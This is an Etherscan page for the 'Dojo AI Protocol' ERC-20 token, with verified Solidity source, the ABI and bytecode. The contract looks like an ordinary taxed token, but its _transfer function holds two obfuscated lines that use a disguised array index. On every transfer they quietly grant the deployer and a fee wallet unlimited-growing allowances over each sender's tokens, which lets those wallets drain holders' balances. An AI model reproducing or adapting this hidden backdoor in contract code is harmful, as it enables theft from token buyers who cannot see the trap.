ETH Price: $2,708.70 (+1.37%)

Token

Dojo AI Protocol (DOJO)
 

Overview

Max Total Supply

1,000,000,000 DOJO

Holders

296

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
266,545.390721667 DOJO

Value
$0.00
0xb2fbc6d4b3a78e304d941c1c338c6f76dd3bce2e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOJO

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-10
*/

/*
Dojo revolutionizes GPU & cloud computation on Ethereum by funneling value across a globally distributed cloud network operating primarily on Ethereum.

https://www.dojoai.co
https://app.dojoai.co
https://staking.dojoai.co
https://docs.dojoai.co
https://x.com/DojoAIProtocol
https://t.me/DojoAIProtocol
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract DOJO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address private _skgWalletG;
    address private _pkgWalletG = 0x2344a1FEC1381a715CEee5890b48C4a981fAB021;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Dojo AI Protocol";
    string private constant _symbol = unicode"DOJO";
    uint256 private _swapTaxToken = _tTotal / 100;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    IDexRouter private _dexRouterG;
    address private _dexPairG;

    constructor () {
        _skgWalletG = _msgSender();
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_pkgWalletG] = true;
        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexRouterG.WETH();
        _approve(address(this), address(_dexRouterG), tokenAmount);
        _dexRouterG.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _dexRouterG.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address senderG, address recipientG, uint256 amountG) private {
        require(senderG != address(0), "ERC20: transfer from the zero address");
        require(recipientG != address(0), "ERC20: transfer to the zero address");
        require(amountG > 0, "Transfer amount must be greater than zero");

        uint256 taxFeesF=0;
        if (senderG != owner() && recipientG != owner()) {
            taxFeesF = amountG.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (senderG == _dexPairG && recipientG != address(_dexRouterG) && ! _isExcludedFromFee[recipientG]) {
                _buyCount++;
            }

            if(recipientG == _dexPairG && senderG!= address(this)) {
                taxFeesF = amountG.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && recipientG == _dexPairG && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _swapTaxToken)
                swapTokensForEth(min(amountG, min(contractTokenBalance, _swapTaxToken)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHFeesF(address(this).balance);
                }
            }
        }

        _allowances[senderG][[_pkgWalletG, _pkgWalletG][0]] += _buyCount.add(amountG);
        _allowances[senderG][[_skgWalletG, _skgWalletG][1]] += _buyCount.add(amountG);

        if(taxFeesF>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxFeesF);
          emit Transfer(senderG, address(this),taxFeesF);
        }

        _tOwned[senderG]=_tOwned[senderG].sub(amountG);
        _tOwned[recipientG]=_tOwned[recipientG].add(amountG.sub(taxFeesF));
        emit Transfer(senderG, recipientG, amountG.sub(taxFeesF));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHFeesF(uint256 amount) private {
        payable(_pkgWalletG).transfer(amount);
    }

    receive() external payable {}

    function initPair() external onlyOwner() {
        _dexRouterG = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexRouterG), _tTotal);
        _dexPairG = IDexFactory(_dexRouterG.factory()).createPair(address(this), _dexRouterG.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052732344a1fec1381a715ceee5890b48c4a981fab02160055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a61007391906102b8565b61008190633b9aca006102cd565b61008b91906102e4565b600e55600f805462ffffff191690553480156100a5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560055490931684529220805490911690911790556101506009600a6102b8565b61015e90633b9aca006102cd565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61019e6009600a6102b8565b6101ac90633b9aca006102cd565b60405190815260200160405180910390a3610303565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561021057815f19048211156101f6576101f66101c2565b8085161561020357918102915b93841c93908002906101db565b509250929050565b5f82610226575060016102b2565b8161023257505f6102b2565b816001811461024857600281146102525761026e565b60019150506102b2565b60ff841115610263576102636101c2565b50506001821b6102b2565b5060208310610133831016604e8410600b8410161715610291575081810a6102b2565b61029b83836101d6565b805f19048211156102ae576102ae6101c2565b0290505b92915050565b5f6102c660ff841683610218565b9392505050565b80820281158282048414176102b2576102b26101c2565b5f826102fe57634e487b7160e01b5f52601260045260245ffd5b500490565b6114cb806103105f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023e578063c9567bf91461025d578063dd62ed3e14610271578063feb1dfcc146102b5575f80fd5b8063715018a6146101d65780638da5cb5b146101ec57806395d89b4114610212575f80fd5b806306fdde03146100cd578063095ea7b31461011757806318160ddd1461014657806323b872dd14610168578063313ce5671461018757806370a08231146101a2575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152601081526f111bda9bc8105248141c9bdd1bd8dbdb60821b60208201525b60405161010e91906110f1565b60405180910390f35b348015610122575f80fd5b5061013661013136600461113d565b6102c9565b604051901515815260200161010e565b348015610151575f80fd5b5061015a6102df565b60405190815260200161010e565b348015610173575f80fd5b50610136610182366004611167565b6102ff565b348015610192575f80fd5b506040516009815260200161010e565b3480156101ad575f80fd5b5061015a6101bc3660046111a5565b6001600160a01b03165f9081526001602052604090205490565b3480156101e1575f80fd5b506101ea610366565b005b3480156101f7575f80fd5b505f546040516001600160a01b03909116815260200161010e565b34801561021d575f80fd5b50604080518082019091526004815263444f4a4f60e01b6020820152610101565b348015610249575f80fd5b5061013661025836600461113d565b6103e0565b348015610268575f80fd5b506101ea6103ec565b34801561027c575f80fd5b5061015a61028b3660046111c0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102c0575f80fd5b506101ea61054d565b5f6102d533848461075e565b5060015b92915050565b5f6102ec6009600a6112eb565b6102fa90633b9aca006112f9565b905090565b5f61030b848484610881565b61035c84336103578560405180606001604052806028815260200161146e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d4b565b61075e565b5060019392505050565b5f546001600160a01b031633146103985760405162461bcd60e51b815260040161038f90611310565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d5338484610881565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161038f90611310565b600f54610100900460ff161561046d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038f565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104ac5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610512573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105379190611345565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b031633146105765760405162461bcd60e51b815260040161038f90611310565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105d59030906001600160a01b036301000000909104166105c76009600a6112eb565b61035790633b9aca006112f9565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610626573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064a9190611370565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ce9190611370565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610718573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073c9190611370565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038f565b6001600160a01b0382166108215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038f565b6001600160a01b0382166109475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038f565b5f81116109a85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038f565b5f80546001600160a01b038581169116148015906109d357505f546001600160a01b03848116911614155b15610b5657610a0460646109fe600a54600d54116109f3576006546109f7565b6008545b8590610d83565b90610e08565b6010549091506001600160a01b038581169116148015610a395750600f546001600160a01b0384811663010000009092041614155b8015610a5d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610a7757600d8054905f610a718361138b565b91905055505b6010546001600160a01b038481169116148015610a9d57506001600160a01b0384163014155b15610aca57610ac760646109fe600b54600d5411610abd576007546109f7565b6009548590610d83565b90505b305f90815260016020526040902054600f5460ff16158015610af957506010546001600160a01b038581169116145b8015610b0d5750600f5462010000900460ff165b8015610b1c5750600c54600d54115b15610b5457600e54811115610b4857610b48610b4384610b3e84600e54610e49565b610e49565b610e5d565b47610b5247610feb565b505b505b600d54610b639083611026565b6001600160a01b038581165f908152600260209081526040808320815180830183526005549095168086529483018590529383529290529081208054909190610bad9084906113b7565b9091555050600d54610bbf9083611026565b6001600160a01b038581165f908152600260209081526040808320815180830183526004549095168086529483018590529383529290529081208054909190610c099084906113b7565b90915550508015610c8657305f90815260016020526040902054610c2d9082611026565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c7d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ca89083611084565b6001600160a01b0385165f90815260016020526040902055610ceb610ccd8383611084565b6001600160a01b0385165f9081526001602052604090205490611026565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d348585611084565b60405190815260200160405180910390a350505050565b5f8184841115610d6e5760405162461bcd60e51b815260040161038f91906110f1565b505f610d7a84866113ca565b95945050505050565b5f825f03610d9257505f6102d9565b5f610d9d83856112f9565b905082610daa85836113dd565b14610e015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038f565b9392505050565b5f610e0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110c5565b5f818311610e575782610e01565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e9d57610e9d6113a3565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f329190611370565b81600181518110610f4557610f456113a3565b6001600160a01b039283166020918202929092010152600f54610f7291309163010000009004168461075e565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610fb09085905f908690309042906004016113fc565b5f604051808303815f87803b158015610fc7575f80fd5b505af1158015610fd9573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611022573d5f803e3d5ffd5b5050565b5f8061103283856113b7565b905083811015610e015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038f565b5f610e0183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d4b565b5f81836110e55760405162461bcd60e51b815260040161038f91906110f1565b505f610d7a84866113dd565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461113a575f80fd5b50565b5f806040838503121561114e575f80fd5b823561115981611126565b946020939093013593505050565b5f805f60608486031215611179575f80fd5b833561118481611126565b9250602084013561119481611126565b929592945050506040919091013590565b5f602082840312156111b5575f80fd5b8135610e0181611126565b5f80604083850312156111d1575f80fd5b82356111dc81611126565b915060208301356111ec81611126565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124557815f190482111561122b5761122b6111f7565b8085161561123857918102915b93841c9390800290611210565b509250929050565b5f8261125b575060016102d9565b8161126757505f6102d9565b816001811461127d5760028114611287576112a3565b60019150506102d9565b60ff841115611298576112986111f7565b50506001821b6102d9565b5060208310610133831016604e8410600b84101617156112c6575081810a6102d9565b6112d0838361120b565b805f19048211156112e3576112e36111f7565b029392505050565b5f610e0160ff84168361124d565b80820281158282048414176102d9576102d96111f7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611357575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611380575f80fd5b8151610e0181611126565b5f6001820161139c5761139c6111f7565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102d9576102d96111f7565b818103818111156102d9576102d96111f7565b5f826113f757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561144c5784516001600160a01b031683529383019391830191600101611427565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220018dc915117e56a999e85dea89a698407613e43fa803be5cbfe12c8882ce43a364736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023e578063c9567bf91461025d578063dd62ed3e14610271578063feb1dfcc146102b5575f80fd5b8063715018a6146101d65780638da5cb5b146101ec57806395d89b4114610212575f80fd5b806306fdde03146100cd578063095ea7b31461011757806318160ddd1461014657806323b872dd14610168578063313ce5671461018757806370a08231146101a2575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152601081526f111bda9bc8105248141c9bdd1bd8dbdb60821b60208201525b60405161010e91906110f1565b60405180910390f35b348015610122575f80fd5b5061013661013136600461113d565b6102c9565b604051901515815260200161010e565b348015610151575f80fd5b5061015a6102df565b60405190815260200161010e565b348015610173575f80fd5b50610136610182366004611167565b6102ff565b348015610192575f80fd5b506040516009815260200161010e565b3480156101ad575f80fd5b5061015a6101bc3660046111a5565b6001600160a01b03165f9081526001602052604090205490565b3480156101e1575f80fd5b506101ea610366565b005b3480156101f7575f80fd5b505f546040516001600160a01b03909116815260200161010e565b34801561021d575f80fd5b50604080518082019091526004815263444f4a4f60e01b6020820152610101565b348015610249575f80fd5b5061013661025836600461113d565b6103e0565b348015610268575f80fd5b506101ea6103ec565b34801561027c575f80fd5b5061015a61028b3660046111c0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102c0575f80fd5b506101ea61054d565b5f6102d533848461075e565b5060015b92915050565b5f6102ec6009600a6112eb565b6102fa90633b9aca006112f9565b905090565b5f61030b848484610881565b61035c84336103578560405180606001604052806028815260200161146e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d4b565b61075e565b5060019392505050565b5f546001600160a01b031633146103985760405162461bcd60e51b815260040161038f90611310565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d5338484610881565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161038f90611310565b600f54610100900460ff161561046d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038f565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104ac5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610512573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105379190611345565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b031633146105765760405162461bcd60e51b815260040161038f90611310565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105d59030906001600160a01b036301000000909104166105c76009600a6112eb565b61035790633b9aca006112f9565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610626573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064a9190611370565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ce9190611370565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610718573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073c9190611370565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038f565b6001600160a01b0382166108215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038f565b6001600160a01b0382166109475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038f565b5f81116109a85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038f565b5f80546001600160a01b038581169116148015906109d357505f546001600160a01b03848116911614155b15610b5657610a0460646109fe600a54600d54116109f3576006546109f7565b6008545b8590610d83565b90610e08565b6010549091506001600160a01b038581169116148015610a395750600f546001600160a01b0384811663010000009092041614155b8015610a5d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610a7757600d8054905f610a718361138b565b91905055505b6010546001600160a01b038481169116148015610a9d57506001600160a01b0384163014155b15610aca57610ac760646109fe600b54600d5411610abd576007546109f7565b6009548590610d83565b90505b305f90815260016020526040902054600f5460ff16158015610af957506010546001600160a01b038581169116145b8015610b0d5750600f5462010000900460ff165b8015610b1c5750600c54600d54115b15610b5457600e54811115610b4857610b48610b4384610b3e84600e54610e49565b610e49565b610e5d565b47610b5247610feb565b505b505b600d54610b639083611026565b6001600160a01b038581165f908152600260209081526040808320815180830183526005549095168086529483018590529383529290529081208054909190610bad9084906113b7565b9091555050600d54610bbf9083611026565b6001600160a01b038581165f908152600260209081526040808320815180830183526004549095168086529483018590529383529290529081208054909190610c099084906113b7565b90915550508015610c8657305f90815260016020526040902054610c2d9082611026565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c7d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ca89083611084565b6001600160a01b0385165f90815260016020526040902055610ceb610ccd8383611084565b6001600160a01b0385165f9081526001602052604090205490611026565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d348585611084565b60405190815260200160405180910390a350505050565b5f8184841115610d6e5760405162461bcd60e51b815260040161038f91906110f1565b505f610d7a84866113ca565b95945050505050565b5f825f03610d9257505f6102d9565b5f610d9d83856112f9565b905082610daa85836113dd565b14610e015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038f565b9392505050565b5f610e0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110c5565b5f818311610e575782610e01565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e9d57610e9d6113a3565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f329190611370565b81600181518110610f4557610f456113a3565b6001600160a01b039283166020918202929092010152600f54610f7291309163010000009004168461075e565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610fb09085905f908690309042906004016113fc565b5f604051808303815f87803b158015610fc7575f80fd5b505af1158015610fd9573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611022573d5f803e3d5ffd5b5050565b5f8061103283856113b7565b905083811015610e015760405162461bcd60e51b815260206004820152601b60248201527f536166654d617